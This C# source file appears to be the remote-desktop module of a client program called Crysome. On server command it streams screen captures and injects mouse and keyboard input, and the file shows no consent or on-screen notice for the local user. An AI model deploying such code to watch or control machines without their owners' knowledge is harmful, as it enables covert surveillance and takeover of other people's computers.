Files
2026-08-27 11:22:54 -06:00

423 lines
10 KiB
C#

using System;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;
using TurboJpegWrapper;
namespace Crysome.Client.Handlers;
public static class RemoteDesktopHandlers
{
private struct INPUT
{
public uint type;
public InputUnion U;
public static int Size => Marshal.SizeOf(typeof(INPUT));
}
[StructLayout(LayoutKind.Explicit)]
private struct InputUnion
{
[FieldOffset(0)]
public MOUSEINPUT mi;
[FieldOffset(0)]
public KEYBDINPUT ki;
}
private struct MOUSEINPUT
{
public int dx;
public int dy;
public uint mouseData;
public uint dwFlags;
public uint time;
public IntPtr dwExtraInfo;
}
private struct KEYBDINPUT
{
public ushort wVk;
public ushort wScan;
public uint dwFlags;
public uint time;
public IntPtr dwExtraInfo;
}
private static volatile bool _desktopRunning;
private static Thread _desktopThread;
private static CrysomeClient _desktopClient;
private static int _intervalMs = 200;
private static int _screenIndex = -1;
private static volatile int _jpegQuality = 80;
private static byte _captureMode;
public static string ActiveMode { get; private set; } = "Idle";
private static ImageCodecInfo _jpegCodec;
private static readonly object _codecLock = new object();
private static TurboJpegWrapper.TJCompressor _turboCompressor;
private static bool _turboChecked;
private const int SM_XVIRTUALSCREEN = 76;
private const int SM_YVIRTUALSCREEN = 77;
private const int SM_CXVIRTUALSCREEN = 78;
private const int SM_CYVIRTUALSCREEN = 79;
public static void HandleGetScreens(CrysomeClient client, IPacket packet)
{
try
{
Screen[] allScreens = Screen.AllScreens;
ScreenInfo[] array = (ScreenInfo[])(object)new ScreenInfo[allScreens.Length];
for (int i = 0; i < allScreens.Length; i++)
{
Screen screen = allScreens[i];
array[i] = new ScreenInfo
{
Name = screen.DeviceName,
X = screen.Bounds.X,
Y = screen.Bounds.Y,
Width = screen.Bounds.Width,
Height = screen.Bounds.Height,
IsPrimary = screen.Primary
};
}
client.SendPacket((IPacket)new ScreensResponsePacket(array));
}
catch
{
client.SendPacket((IPacket)new ScreensResponsePacket((ScreenInfo[])(object)new ScreenInfo[0]));
}
}
public static void HandleStartRemoteDesktop(CrysomeClient client, IPacket packet)
{
_desktopRunning = false;
_desktopThread?.Join(500);
StartRemoteDesktopPacket val = (StartRemoteDesktopPacket)packet;
_intervalMs = Math.Max(20, Math.Min(2000, val.IntervalMs));
_screenIndex = val.ScreenIndex;
_captureMode = val.CaptureMode;
_desktopClient = client;
_jpegQuality = 80;
_desktopRunning = true;
_desktopThread = new Thread(DesktopLoop) { IsBackground = true };
_desktopThread.Start();
}
public static void HandleStopRemoteDesktop(CrysomeClient client, IPacket packet)
{
_desktopRunning = false;
_desktopThread?.Join(2000);
}
public static void HandleRdpSetQuality(CrysomeClient client, IPacket packet)
{
RdpSetQualityPacket val = (RdpSetQualityPacket)packet;
_jpegQuality = Math.Max(10, Math.Min(95, val.Quality));
if (val.IntervalMs > 0)
_intervalMs = Math.Max(20, Math.Min(2000, val.IntervalMs));
}
public static void HandleRemoteInput(CrysomeClient client, IPacket packet)
{
RemoteInputPacket val = (RemoteInputPacket)packet;
try
{
int offsetX = 0, offsetY = 0;
Screen targetScreen = GetTargetScreen();
if (targetScreen != null)
{
offsetX = targetScreen.Bounds.X;
offsetY = targetScreen.Bounds.Y;
}
int x = val.X + offsetX;
int y = val.Y + offsetY;
switch (val.Kind)
{
case 0: SendMouseMove(x, y); break;
case 1: SendMouseButton(x, y, val.ButtonOrKey, true); break;
case 2: SendMouseButton(x, y, val.ButtonOrKey, false); break;
case 3: SendKey((ushort)(val.ButtonOrKey & 0xFF), true); break;
case 4: SendKey((ushort)(val.ButtonOrKey & 0xFF), false); break;
}
}
catch { }
}
private static void DesktopLoop()
{
var sw = new Stopwatch();
DxgiCapture dxgi = null;
bool dxgiAvailable = false;
int dxgiRetryCounter = 0;
if (_captureMode == 2)
{
// GDI+ forced — skip DXGI entirely
dxgiAvailable = false;
ActiveMode = "GDI+ (forced)";
Program.Log("[RDP] GDI+ forced by server, skipping DXGI");
}
else
{
// Try DXGI (Auto or DXGI forced)
try
{
dxgi = new DxgiCapture();
int idx = _screenIndex >= 0 ? _screenIndex : 0;
dxgiAvailable = dxgi.Init(idx);
if (dxgiAvailable)
{
ActiveMode = _captureMode == 1 ? "DXGI (forced)" : "DXGI";
Program.Log("[RDP] DXGI Desktop Duplication active" + (_captureMode == 1 ? " (forced)" : ""));
}
}
catch
{
dxgiAvailable = false;
}
if (!dxgiAvailable)
{
if (_captureMode == 1)
{
// DXGI forced but failed — log error, don't fall back
ActiveMode = "DXGI (failed)";
Program.Log("[RDP] DXGI forced but init failed, no fallback");
}
else
{
// Auto mode — fall back to GDI+
ActiveMode = "GDI+";
Program.Log("[RDP] DXGI unavailable, using GDI+ fallback");
}
}
}
Bitmap gdiBitmap = null;
Rectangle gdiRect = Rectangle.Empty;
try
{
while (_desktopRunning && _desktopClient != null)
{
sw.Restart();
try
{
byte[] jpeg = null;
if (dxgiAvailable)
{
jpeg = dxgi.CaptureFrameToJpeg(_jpegQuality, 16);
if (jpeg != null)
{
dxgiRetryCounter = 0;
}
else
{
dxgiRetryCounter++;
if (dxgiRetryCounter > 120)
{
Program.Log("[RDP] DXGI reinit");
int idx = _screenIndex >= 0 ? _screenIndex : 0;
dxgiAvailable = dxgi.Init(idx);
dxgiRetryCounter = 0;
if (!dxgiAvailable)
{
if (_captureMode == 1)
{
Program.Log("[RDP] DXGI reinit failed, DXGI forced — no fallback");
ActiveMode = "DXGI (failed)";
}
else
{
Program.Log("[RDP] DXGI reinit failed, falling back to GDI+");
ActiveMode = "GDI+";
}
dxgi.Dispose();
dxgi = null;
}
}
}
}
if (!dxgiAvailable && _captureMode != 1)
{
Rectangle bounds = GetTargetScreen().Bounds;
if (gdiBitmap == null || bounds != gdiRect)
{
gdiBitmap?.Dispose();
gdiBitmap = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format24bppRgb);
gdiRect = bounds;
}
jpeg = CaptureGdiToJpeg(gdiBitmap, bounds, _jpegQuality);
}
if (jpeg != null && jpeg.Length > 0)
{
try { _desktopClient?.SendDesktopScreenFrame(jpeg); } catch { }
}
}
catch { }
int elapsed = (int)sw.ElapsedMilliseconds;
int sleep = _intervalMs - elapsed;
if (sleep > 1)
Thread.Sleep(sleep);
}
}
finally
{
ActiveMode = "Idle";
dxgi?.Dispose();
gdiBitmap?.Dispose();
}
}
private static byte[] EncodeBitmapToJpeg(Bitmap bmp, int quality)
{
if (!_turboChecked)
{
_turboChecked = true;
try { _turboCompressor = new TJCompressor(); }
catch { _turboCompressor = null; }
}
if (_turboCompressor != null)
{
try
{
var bmpData = bmp.LockBits(
new Rectangle(0, 0, bmp.Width, bmp.Height),
ImageLockMode.ReadOnly,
PixelFormat.Format24bppRgb);
try
{
return _turboCompressor.Compress(
bmpData.Scan0,
bmpData.Stride,
bmp.Width,
bmp.Height,
TJPixelFormats.TJPF_BGR,
TJSubsamplingOptions.TJSAMP_420,
quality,
TJFlags.FASTDCT);
}
finally
{
bmp.UnlockBits(bmpData);
}
}
catch
{
_turboCompressor = null;
}
}
var codec = GetJpegCodec();
if (codec != null)
{
using (var ep = new EncoderParameters(1))
{
ep.Param[0] = new EncoderParameter(Encoder.Quality, quality);
using (var ms = new MemoryStream(65536))
{
bmp.Save(ms, codec, ep);
return ms.ToArray();
}
}
}
using (var ms = new MemoryStream(65536))
{
bmp.Save(ms, ImageFormat.Jpeg);
return ms.ToArray();
}
}
private static byte[] CaptureGdiToJpeg(Bitmap reuseBmp, Rectangle bounds, int quality)
{
using (var g = Graphics.FromImage(reuseBmp))
g.CopyFromScreen(bounds.Location, Point.Empty, bounds.Size);
return EncodeBitmapToJpeg(reuseBmp, quality);
}
private static ImageCodecInfo GetJpegCodec()
{
if (_jpegCodec != null) return _jpegCodec;
lock (_codecLock)
{
if (_jpegCodec != null) return _jpegCodec;
foreach (var info in ImageCodecInfo.GetImageEncoders())
{
if (info.FormatID == ImageFormat.Jpeg.Guid)
{
_jpegCodec = info;
break;
}
}
}
return _jpegCodec;
}
private static Screen GetTargetScreen()
{
var all = Screen.AllScreens;
if (_screenIndex >= 0 && _screenIndex < all.Length)
return all[_screenIndex];
return Screen.PrimaryScreen;
}
private static void ToAbsolute(int x, int y, out int ax, out int ay)
{
int vx = GetSystemMetrics(SM_XVIRTUALSCREEN);
int vy = GetSystemMetrics(SM_YVIRTUALSCREEN);
int vw = GetSystemMetrics(SM_CXVIRTUALSCREEN);
int vh = GetSystemMetrics(SM_CYVIRTUALSCREEN);
if (vw <= 0) vw = Screen.PrimaryScreen.Bounds.Width;
if (vh <= 0) vh = Screen.PrimaryScreen.Bounds.Height;
ax = (int)((double)(x - vx) * 65535.0 / vw);
ay = (int)((double)(y - vy) * 65535.0 / vh);
}
private static void SendMouseMove(int x, int y)
{
ToAbsolute(x, y, out var ax, out var ay);
var input = new INPUT[1];
input[0].type = 0;
input[0].U.mi = new MOUSEINPUT { dx = ax, dy = ay, dwFlags = 0xC001 };
SendInput(1, input, INPUT.Size);
}
private static void SendMouseButton(int x, int y, int button, bool down)
{
ToAbsolute(x, y, out var ax, out var ay);
uint flags = button == 1 ? (down ? 2u : 4u) : (down ? 8u : 16u);
var input = new INPUT[1];
input[0].type = 0;
input[0].U.mi = new MOUSEINPUT { dx = ax, dy = ay, dwFlags = 0xC001 | flags };
SendInput(1, input, INPUT.Size);
}
private static void SendKey(ushort vk, bool down)
{
var input = new INPUT[1];
input[0].type = 1;
input[0].U.ki = new KEYBDINPUT { wVk = vk, dwFlags = down ? 0u : 2u };
SendInput(1, input, INPUT.Size);
}
[DllImport("user32.dll", SetLastError = true)]
private static extern uint SendInput(uint nInputs, INPUT[] pInputs, int cbSize);
[DllImport("user32.dll")]
private static extern int GetSystemMetrics(int nIndex);
}